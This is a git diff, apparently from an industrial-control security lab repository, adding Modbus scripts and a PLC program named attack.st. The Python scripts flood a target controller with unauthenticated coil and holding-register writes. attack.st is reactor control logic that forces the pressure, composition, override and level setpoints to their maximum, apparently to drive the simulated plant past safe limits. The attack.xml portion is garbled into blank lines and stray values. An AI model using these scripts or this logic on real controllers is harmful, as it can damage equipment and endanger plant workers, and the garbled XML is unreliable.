output += ']' + if args.input: + output += '['+style.BOLD+'input regs:'+style.RESET + for i in in_new: + output += style.RESET+'['+str(in_mod[i])+str(in_new[i][0]).rjust(5, ' ')+style.RESET+']' + output += ']' + + print output, + time.sleep(args.timeout) \ No newline at end of file diff --git a/modbus/set_coil.py b/modbus/set_coil.py new file mode 100644 index 0000000..02ab399 --- /dev/null +++ b/modbus/set_coil.py @@ -0,0 +1,41 @@ +#!/usr/bin/env python + +""" +File: set_coil.py +Desc: set a specific coil to a specific value +""" +__author__ = '0xRoM' +from argparse import ArgumentParser, ArgumentTypeError +from pyModbusTCP.client import ModbusClient +import time +import sys + +parser = ArgumentParser() +parser.add_argument('-i','--ipaddress', action='store', type=str, required=True, help='Input IP Address') +parser.add_argument('-p','--port', action='store', type=int, required=False, help='Port Number', default=502) +parser.add_argument('-c','--coil', action='store', type=int, required=True, help='Coil Number', default=0) +parser.add_argument('-tr','--true', action='store_true', required=False, help='True if set') +parser.add_argument('-l','--loop', action='store_true', required=False, help='loop on') +parser.add_argument('-t','--timeout', action='store', type=float, required=False, help='request every X seconds', default=2) +args = parser.parse_args() + +client=ModbusClient(host=args.ipaddress,port=args.port,auto_open=True,auto_close=True,timeout=10) +if args.true: + client.write_single_coil(args.coil,True) +else: + client.write_single_coil(args.coil,False) + +if args.loop: + i=1 + while True: + client=ModbusClient(host=args.ipaddress,port=args.port,auto_open=True,auto_close=True,timeout=10) + if args.true: + client.write_single_coil(args.coil,True) + else: + client.write_single_coil(args.coil,False) + client.close() + print '\r>>packet: %d' % i, + sys.stdout.flush() + i+=1 + time.sleep(args.timeout) + diff --git a/modbus/test_coil_true.py b/modbus/test_coil_true.py new file mode 100644 index 0000000..d2e8631 --- /dev/null +++ b/modbus/test_coil_true.py @@ -0,0 +1,15 @@ +#!/usr/bin/python +from pymodbus.client.sync import ModbusTcpClient +import time +import sys + +i=1 +t_end = time.time() + 60 * 1 # 60s X 1min +while time.time() < t_end: + client = ModbusTcpClient(sys.argv[1]) + client.write_coils(40, [True, True, True]*4) # Ref #, followed by coil settings in list form + client.close() + print '\r>>packet: %d' % i, + sys.stdout.flush() + i+=1 +print "Done" diff --git a/modbus/test_hold_int.py b/modbus/test_hold_int.py new file mode 100644 index 0000000..8be7d0d --- /dev/null +++ b/modbus/test_hold_int.py @@ -0,0 +1,21 @@ +#!/usr/bin/python +from pyModbusTCP.client import ModbusClient +import time +import sys + +i=1 +client=ModbusClient(host=sys.argv[1],port=502,auto_open=True,auto_close=True,timeout=10) + +while True: + #client = ModbusTcpClient(sys.argv[1]) + #client.write_single_register(0,65535) # ref #, followed by no to store + #client.write_single_register(1,65535) # ref #, followed by no to store + #client.write_single_register(2,0) # ref #, followed by no to store + client.write_single_register(3,0) # ref #, followed by no to store + #client.write_multiple_registers(0, [65535,65535,2,2]) + #client.close() + print '\r>>packet: %d' % i, + sys.stdout.flush() + i+=1 + time.sleep(0.2) +print "Done" diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack.st b/plc/GRFICS_Workstation_Docs/Documents/attack.st new file mode 100644 index 0000000..e39c5bd --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack.st @@ -0,0 +1,518 @@ +FUNCTION_BLOCK scale_to_real + VAR_INPUT + raw_input_value : UINT; + END_VAR + VAR_OUTPUT + scaled_real : REAL; + END_VAR + VAR_INPUT + real_max : REAL; + real_min : REAL; + END_VAR + VAR + raw_max : UINT := 65535; + raw_min : UINT := 0; + rate : REAL; + offset : REAL; + END_VAR + + rate := (real_max - real_min) / UINT_TO_REAL(raw_max - raw_min); + offset := real_min - UINT_TO_REAL(raw_min)*rate; + scaled_real := UINT_TO_REAL(raw_input_value)*rate + offset; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK scale_to_uint + VAR_INPUT + real_in : REAL; + END_VAR + VAR_OUTPUT + uint_out : UINT; + END_VAR + VAR + DIV1_OUT : REAL; + MUL4_OUT : REAL; + REAL_TO_UINT6_OUT : UINT; + END_VAR + + DIV1_OUT := DIV(real_in, 100.0); + MUL4_OUT := MUL(DIV1_OUT, 65535.0); + REAL_TO_UINT6_OUT := REAL_TO_UINT(MUL4_OUT); + uint_out := REAL_TO_UINT6_OUT; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK composition_control + VAR + a_in_purge_real : REAL := 47.00; + END_VAR + VAR_INPUT + a_in_purge : UINT := 32000; + END_VAR + VAR + a_setpoint_real : REAL := 47.00; + END_VAR + VAR_INPUT + a_setpoint : UINT := 32000; + curr_pos : UINT := 16000; + END_VAR + VAR + valve_pos_real : REAL := 25.0; + pos_update_real : REAL := 0.0; + valve_pos_nominal : REAL := 25.0; + END_VAR + VAR_OUTPUT + new_pos : UINT := 16000; + END_VAR + VAR + composition_k : REAL := 1.0; + composition_ti : REAL := 99.0; + cycle_time : TIME := T#50ms; + scale_to_real3 : scale_to_real; + scale_to_real2 : scale_to_real; + scale_to_uint0 : scale_to_uint; + comp_max : REAL := 100.0; + comp_min : REAL := 0.0; + pos_max : REAL := 100.0; + pos_min : REAL := 0.0; + scale_to_real0 : scale_to_real; + SUB45_OUT : REAL; + MUL46_OUT : REAL; + ADD42_OUT : REAL; + LIMIT44_OUT : REAL; + END_VAR + + scale_to_real3(raw_input_value := a_in_purge, real_max := comp_max, real_min := comp_min); + a_in_purge_real := scale_to_real3.scaled_real; + scale_to_real2(raw_input_value := a_setpoint, real_max := comp_max, real_min := comp_min); + a_setpoint_real := scale_to_real2.scaled_real; + SUB45_OUT := SUB(a_setpoint_real, a_in_purge_real); + MUL46_OUT := MUL(SUB45_OUT, composition_k); + pos_update_real := MUL46_OUT; + scale_to_real0(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + valve_pos_real := scale_to_real0.scaled_real; + ADD42_OUT := ADD(valve_pos_real, pos_update_real); + LIMIT44_OUT := LIMIT(pos_min, ADD42_OUT, pos_max); + scale_to_uint0(real_in := LIMIT44_OUT); + new_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK initialize_sp + VAR CONSTANT + flow_sp_c : UINT := 13107; + a_sp_c : UINT := 65535; + press_sp_c : UINT := 65535; + over_sp_c : UINT := 65535; + level_sp_c : UINT := 65535; + END_VAR + VAR_OUTPUT + flow_sp : UINT; + a_sp : UINT; + press_sp : UINT; + over_sp : UINT; + level_sp : UINT; + END_VAR + VAR + MOVE3_OUT : UINT; + MOVE7_OUT : UINT; + MOVE11_OUT : UINT; + MOVE15_OUT : UINT; + MOVE19_OUT : UINT; + END_VAR + + MOVE3_OUT := MOVE(a_sp_c); + a_sp := MOVE3_OUT; + MOVE7_OUT := MOVE(flow_sp_c); + flow_sp := MOVE7_OUT; + MOVE11_OUT := MOVE(over_sp_c); + over_sp := MOVE11_OUT; + MOVE15_OUT := MOVE(level_sp_c); + level_sp := MOVE15_OUT; + MOVE19_OUT := MOVE(press_sp_c); + press_sp := MOVE19_OUT; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK pressure_control + VAR + pressure_real : REAL := 2700.0; + END_VAR + VAR_INPUT + pressure : UINT := 58981; + END_VAR + VAR + pressure_sp_real : REAL := 2700.0; + END_VAR + VAR_INPUT + pressure_sp : UINT := 58981; + curr_pos : UINT := 30000; + END_VAR + VAR + valve_pos_real : REAL := 39.25; + pos_update_real : REAL := 0.0; + valve_pos_nominal : REAL := 39.25; + END_VAR + VAR_OUTPUT + valve_pos : UINT := 25886; + END_VAR + VAR + pressure_k : REAL := 20.0; + pressure_ti : REAL := 999.0; + cycle_time : TIME := T#50ms; + scale_to_real5 : scale_to_real; + scale_to_real4 : scale_to_real; + scale_to_uint0 : scale_to_uint; + pressure_max : REAL := 3200.00; + pressure_min : REAL := 0.0; + pos_min : REAL := 0.0; + pos_max : REAL := 100.0; + scale_to_real0 : scale_to_real; + SUB57_OUT : REAL; + MUL60_OUT : REAL; + SUB53_OUT : REAL; + LIMIT55_OUT : REAL; + END_VAR + + scale_to_real5(raw_input_value := pressure, real_max := pressure_max, real_min := pressure_min); + pressure_real := scale_to_real5.scaled_real; + scale_to_real4(raw_input_value := pressure_sp, real_max := pressure_max, real_min := pressure_min); + pressure_sp_real := scale_to_real4.scaled_real; + SUB57_OUT := SUB(pressure_sp_real, pressure_real); + MUL60_OUT := MUL(SUB57_OUT, pressure_k); + pos_update_real := MUL60_OUT; + scale_to_real0(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + valve_pos_real := scale_to_real0.scaled_real; + SUB53_OUT := SUB(valve_pos_real, pos_update_real); + LIMIT55_OUT := LIMIT(pos_min, SUB53_OUT, pos_max); + scale_to_uint0(real_in := LIMIT55_OUT); + valve_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK flow_control + VAR + flow_k : REAL := 1.0; + flow_ti : REAL := 999.0; + flow_td : REAL := 0.0; + END_VAR + VAR_INPUT + product_flow : UINT := 6554; + END_VAR + VAR + product_flow_real : REAL := 100.0; + cycle_time : TIME := T#50ms; + pos_update_real : REAL := 0.0; + curr_pos_real : REAL := 60.9; + END_VAR + VAR_OUTPUT + new_pos : UINT := 35000; + END_VAR + VAR_INPUT + curr_pos : UINT := 35000; + END_VAR + VAR + flow_set_real : REAL := 100.0; + END_VAR + VAR_INPUT + flow_set_in : UINT := 6554; + END_VAR + VAR + scale_to_real0 : scale_to_real; + scale_to_real1 : scale_to_real; + flow_max : REAL := 500.0; + flow_min : REAL := 0.0; + pos_min : REAL := 0.0; + pos_max : REAL := 100.0; + scale_to_real2 : scale_to_real; + scale_to_uint0 : scale_to_uint; + SUB59_OUT : REAL; + MUL60_OUT : REAL; + ADD58_OUT : REAL; + LIMIT40_OUT : REAL; + END_VAR + + scale_to_real0(raw_input_value := product_flow, real_max := flow_max, real_min := flow_min); + product_flow_real := scale_to_real0.scaled_real; + scale_to_real1(raw_input_value := flow_set_in, real_max := flow_max, real_min := flow_min); + flow_set_real := scale_to_real1.scaled_real; + SUB59_OUT := SUB(flow_set_real, product_flow_real); + MUL60_OUT := MUL(SUB59_OUT, flow_k); + pos_update_real := MUL60_OUT; + scale_to_real2(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + curr_pos_real := scale_to_real2.scaled_real; + ADD58_OUT := ADD(curr_pos_real, pos_update_real); + LIMIT40_OUT := LIMIT(pos_min, ADD58_OUT, pos_max); + scale_to_uint0(real_in := LIMIT40_OUT); + new_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK level_control + VAR_INPUT + liquid_level : UINT; + level_sp : UINT := 30000; + curr_pos : UINT; + END_VAR + VAR_OUTPUT + new_pos : UINT; + END_VAR + VAR + cycle_time : TIME := T#50ms; + level_k : REAL := 10.0; + level_ti : REAL := 99999.0; + scale_to_real0 : scale_to_real; + level_max : REAL := 100.0; + level_min : REAL := 0.0; + pos_max : REAL := 100.0; + pos_min : REAL := 0.0; + level_real : REAL := 44.18; + pos_real : REAL := 47.0; + pos_update_real : REAL := 0.0; + sp_real : REAL := 44.18; + scale_to_real1 : scale_to_real; + scale_to_real2 : scale_to_real; + scale_to_uint0 : scale_to_uint; + SUB32_OUT : REAL; + MUL33_OUT : REAL; + SUB30_OUT : REAL; + LIMIT25_OUT : REAL; + END_VAR + + scale_to_real0(raw_input_value := liquid_level, real_max := level_max, real_min := level_min); + level_real := scale_to_real0.scaled_real; + scale_to_real1(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + pos_real := scale_to_real1.scaled_real; + scale_to_real2(raw_input_value := level_sp, real_max := level_max, real_min := level_min); + sp_real := scale_to_real2.scaled_real; + SUB32_OUT := SUB(sp_real, level_real); + MUL33_OUT := MUL(SUB32_OUT, level_k); + pos_update_real := MUL33_OUT; + SUB30_OUT := SUB(pos_real, pos_update_real); + LIMIT25_OUT := LIMIT(pos_min, SUB30_OUT, pos_max); + scale_to_uint0(real_in := LIMIT25_OUT); + new_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK scale_to_signed + VAR_INPUT + input_uint : UINT; + END_VAR + VAR_OUTPUT + output_int : INT; + END_VAR + VAR + DIV3_OUT : UINT; + ABS8_OUT : UINT; + UINT_TO_INT9_OUT : INT; + END_VAR + + DIV3_OUT := DIV(input_uint, 2); + ABS8_OUT := ABS(DIV3_OUT); + UINT_TO_INT9_OUT := UINT_TO_INT(ABS8_OUT); + output_int := UINT_TO_INT9_OUT; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK pressure_override + VAR + pressure_real : REAL := 2700.0; + END_VAR + VAR_INPUT + pressure : UINT := 58981; + curr_sp : UINT := 58981; + END_VAR + VAR + curr_sp_real : REAL := 2700.0; + product_sp_real : REAL := 100.0; + sp_update : REAL := 0.0; + product_sp_nominl : REAL := 100.0; + END_VAR + VAR_OUTPUT + product_sp : UINT := 13107; + END_VAR + VAR + override_sp_real : REAL := 2900.0; + END_VAR + VAR_INPUT + override_sp : UINT := 63350; + END_VAR + VAR + override_k : REAL := 1.0; + override_ti : REAL := 99999.0; + cycle_time : TIME := T#50ms; + scale_to_real7 : scale_to_real; + pressure_max : REAL := 3000.0; + pressure_min : REAL := 0.0; + flow_max : REAL := 500.0; + flow_min : REAL := 0.0; + scale_to_real0 : scale_to_real; + SUB86_OUT : REAL; + MUL87_OUT : REAL; + MAX84_OUT : REAL; + ADD85_OUT : REAL; + LIMIT67_OUT : REAL; + DIV73_OUT : REAL; + MUL75_OUT : REAL; + REAL_TO_UINT79_OUT : UINT; + END_VAR + + scale_to_real7(raw_input_value := pressure, real_max := pressure_max, real_min := pressure_min); + pressure_real := scale_to_real7.scaled_real; + SUB86_OUT := SUB(override_sp_real, pressure_real); + MUL87_OUT := MUL(SUB86_OUT, override_k); + MAX84_OUT := MAX(MUL87_OUT, 0.0); + sp_update := MAX84_OUT; + scale_to_real0(raw_input_value := curr_sp, real_max := flow_max, real_min := flow_min); + curr_sp_real := scale_to_real0.scaled_real; + ADD85_OUT := ADD(curr_sp_real, sp_update); + LIMIT67_OUT := LIMIT(50.0, ADD85_OUT, 150.0); + product_sp_real := LIMIT67_OUT; + DIV73_OUT := DIV(product_sp_real, 500.0); + MUL75_OUT := MUL(DIV73_OUT, 65535.0); + REAL_TO_UINT79_OUT := REAL_TO_UINT(MUL75_OUT); + product_sp := REAL_TO_UINT79_OUT; +END_FUNCTION_BLOCK + +PROGRAM main + VAR + flow_control0 : flow_control; + first_run : BOOL := True; + END_VAR + VAR + flow_set AT %MW0 : UINT; + a_setpoint AT %MW1 : UINT; + pressure_sp AT %MW2 : UINT; + override_sp AT %MW3 : UINT; + level_sp AT %MW4 : UINT; + END_VAR + VAR + composition_control0 : composition_control; + scale_to_signed0 : scale_to_signed; + END_VAR + VAR + f1_valve_pos AT %IW0 : UINT; + f1_flow AT %IW1 : UINT; + f2_valve_pos AT %IW2 : UINT; + f2_flow AT %IW3 : UINT; + purge_valve_pos AT %IW4 : UINT; + purge_flow AT %IW5 : UINT; + product_valve_pos AT %IW6 : UINT; + product_flow AT %IW7 : UINT; + pressure AT %IW8 : UINT; + level AT %IW9 : UINT; + a_in_purge AT %IW10 : UINT; + b_in_purge AT %IW11 : UINT; + c_in_purge AT %IW12 : UINT; + f1_valve_sp AT %QW0 : UINT; + f2_valve_sp AT %QW1 : UINT; + purge_valve_sp AT %QW2 : UINT; + product_valve_sp AT %QW3 : UINT; + END_VAR + VAR + product_valve_safe : UINT := 0; + purge_valve_safe : UINT := 65535; + f1_valve_safe : UINT; + f2_valve_safe : UINT; + pressure_control0 : pressure_control; + END_VAR + VAR + hmi_pressure AT %MW20 : INT; + hmi_level AT %MW21 : INT; + hmi_f1_valve_pos AT %MW22 : INT; + hmi_f1_flow AT %MW23 : INT; + hmi_f2_valve_pos AT %MW24 : INT; + hmi_f2_flow AT %MW25 : INT; + hmi_purge_valve_pos AT %MW26 : INT; + hmi_purge_flow AT %MW27 : INT; + hmi_product_valve_pos AT %MW28 : INT; + hmi_product_flow AT %MW29 : INT; + scan_count AT %MW30 : UINT; + END_VAR + VAR + scale_to_signed1 : scale_to_signed; + scale_to_signed2 : scale_to_signed; + scale_to_signed3 : scale_to_signed; + scale_to_signed4 : scale_to_signed; + scale_to_signed5 : scale_to_signed; + scale_to_signed6 : scale_to_signed; + scale_to_signed7 : scale_to_signed; + scale_to_signed8 : scale_to_signed; + scale_to_signed9 : scale_to_signed; + pressure_override0 : pressure_override; + level_control0 : level_control; + END_VAR + VAR_EXTERNAL + run_bit : BOOL; + END_VAR + VAR + run_bit0 : BOOL := True; + initialize_sp0 : initialize_sp; + ADD87_OUT : UINT; + GE91_OUT : BOOL; + MOVE92_ENO : BOOL; + MOVE92_OUT : UINT; + END_VAR + + initialize_sp0(EN := first_run); + IF initialize_sp0.ENO THEN + first_run := FALSE; (*reset*) + END_IF; + IF initialize_sp0.ENO THEN + flow_set := initialize_sp0.flow_sp; + END_IF; + IF initialize_sp0.ENO THEN + a_setpoint := initialize_sp0.a_sp; + END_IF; + IF initialize_sp0.ENO THEN + pressure_sp := initialize_sp0.press_sp; + END_IF; + IF initialize_sp0.ENO THEN + override_sp := initialize_sp0.over_sp; + END_IF; + IF initialize_sp0.ENO THEN + level_sp := initialize_sp0.level_sp; + END_IF; + flow_control0(product_flow := product_flow, curr_pos := f1_valve_pos, flow_set_in := flow_set); + f1_valve_sp := flow_control0.new_pos; + pressure_control0(pressure := pressure, pressure_sp := pressure_sp, curr_pos := purge_valve_pos); + purge_valve_sp := pressure_control0.valve_pos; + composition_control0(a_in_purge := a_in_purge, a_setpoint := a_setpoint, curr_pos := f2_valve_pos); + f2_valve_sp := composition_control0.new_pos; + pressure_override0(pressure := pressure, curr_sp := flow_set, override_sp := override_sp); + flow_set := pressure_override0.product_sp; + level_control0(liquid_level := level, level_sp := level_sp, curr_pos := product_valve_pos); + product_valve_sp := level_control0.new_pos; + scale_to_signed0(input_uint := pressure); + hmi_pressure := scale_to_signed0.output_int; + scale_to_signed1(input_uint := level); + hmi_level := scale_to_signed1.output_int; + scale_to_signed2(input_uint := f1_valve_pos); + hmi_f1_valve_pos := scale_to_signed2.output_int; + scale_to_signed3(input_uint := f2_valve_pos); + hmi_f2_valve_pos := scale_to_signed3.output_int; + scale_to_signed4(input_uint := purge_valve_pos); + hmi_purge_valve_pos := scale_to_signed4.output_int; + scale_to_signed5(input_uint := product_valve_pos); + hmi_product_valve_pos := scale_to_signed5.output_int; + scale_to_signed6(input_uint := f1_flow); + hmi_f1_flow := scale_to_signed6.output_int; + scale_to_signed7(input_uint := f2_flow); + hmi_f2_flow := scale_to_signed7.output_int; + scale_to_signed8(input_uint := purge_flow); + hmi_purge_flow := scale_to_signed8.output_int; + scale_to_signed9(input_uint := product_flow); + hmi_product_flow := scale_to_signed9.output_int; + ADD87_OUT := ADD(scan_count, 1); + scan_count := ADD87_OUT; + GE91_OUT := GE(scan_count, 32000); + MOVE92_OUT := MOVE(EN := GE91_OUT, IN := 0, ENO => MOVE92_ENO); + IF MOVE92_ENO THEN + scan_count := MOVE92_OUT; + END_IF; +END_PROGRAM + + +CONFIGURATION Config0 + + RESOURCE Res0 ON PLC + VAR_GLOBAL + run_bit AT %QX0.0 : BOOL; + END_VAR + TASK MainTask(INTERVAL := T#50ms,PRIORITY := 0); + PROGRAM instance0 WITH MainTask : main; + END_RESOURCE +END_CONFIGURATION diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack.xml b/plc/GRFICS_Workstation_Docs/Documents/attack.xml new file mode 100644 index 0000000..725d547 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack.xml @@ -0,0 +1,5136 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 30000 + + + + + + + + + + + + + hmi_pressure + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 16000 + + + + + + + + + + + + + hmi_level + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 10000 + + + + + + + + + + + + + hmi_f1_valve_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 10000 + + + + + + + + + + + + + hmi_f2_valve_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 3000 + + + + + + + + + + + + + + + hmi_purge_valve_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 15000 + + + + + + + + + + + + + hmi_product_valve_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 10000 + + + + + + + + + + + + + hmi_f1_flow + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 10000 + + + + + + + + + + + + + hmi_f2_flow + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 3000 + + + + + + + + + + + + + hmi_purge_flow + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 15000 + + + + + + + + + + + + + hmi_product_flow + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + scan_count + + + + + + + 1 + + + + + + + + + + + + + scan_count + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + scan_count + + + + + + + 32000 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 0 + + + + + + + + + + + + + scan_count + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure_real + + + + + + + pressure_sp_real + + + + + + + pressure_k + + + + + + + pressure_ti + + + + + + + cycle_time + + + + + + + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure_max + + + + + + + pressure_min + + + + + + + pressure + + + + + + + + + + + + + pressure_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure_max + + + + + + + pressure_min + + + + + + + pressure_sp + + + + + + + + + + + + + pressure_sp_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + valve_pos + + + + + + + valve_pos_nominal + + + + + + + curr_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_max + + + + + + + pos_min + + + + + + + + + + + + + valve_pos_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + valve_pos_real + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_min + + + + + + + pos_max + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + flow_set_real + + + + + + + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + flow_max + + + + + + + flow_min + + + + + + + product_flow + + + + + + + + + + + + + product_flow_real + + + + + + + product_flow_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + flow_max + + + + + + + flow_min + + + + + + + flow_set_in + + + + + + + + + + + + + flow_set_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + curr_pos + + + + + + + pos_min + + + + + + + pos_max + + + + + + + + + + + + + curr_pos_real + + + + + + + curr_pos_real + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + new_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_max + + + + + + + pos_min + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + flow_k + + + + + + + flow_ti + + + + + + + cycle_time + + + + + + + flow_td + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + a_in_purge_real + + + + + + + a_setpoint_real + + + + + + + composition_k + + + + + + + composition_ti + + + + + + + cycle_time + + + + + + + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + comp_max + + + + + + + comp_min + + + + + + + a_in_purge + + + + + + + + + + + + + a_in_purge_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + comp_max + + + + + + + comp_min + + + + + + + a_setpoint + + + + + + + + + + + + + a_setpoint_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + new_pos + + + + + + + valve_pos_nominal + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + curr_pos + + + + + + + pos_max + + + + + + + pos_min + + + + + + + + + + + + + valve_pos_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + valve_pos_real + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_min + + + + + + + pos_max + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure_real + + + + + + + override_sp_real + + + + + + + override_k + + + + + + + override_ti + + + + + + + cycle_time + + + + + + + + + + + sp_update + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure_max + + + + + + + pressure_min + + + + + + + pressure + + + + + + + + + + + + + pressure_real + + + + + + + curr_sp + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + flow_max + + + + + + + flow_min + + + + + + + + + + + + + curr_sp_real + + + + + + + sp_update + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 150.0 + + + + + + + 50.0 + + + + + + + 0.0 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 500.0 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + product_sp_real + + + + + + + product_sp_real + + + + + + + 65535.0 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + product_sp + + + + + + + curr_sp_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + input_uint + + + + + + + 2 + + + + + + + + + + + + + + + output_int + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + real_in + + + + + + + 100.0 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 65535.0 + + + + + 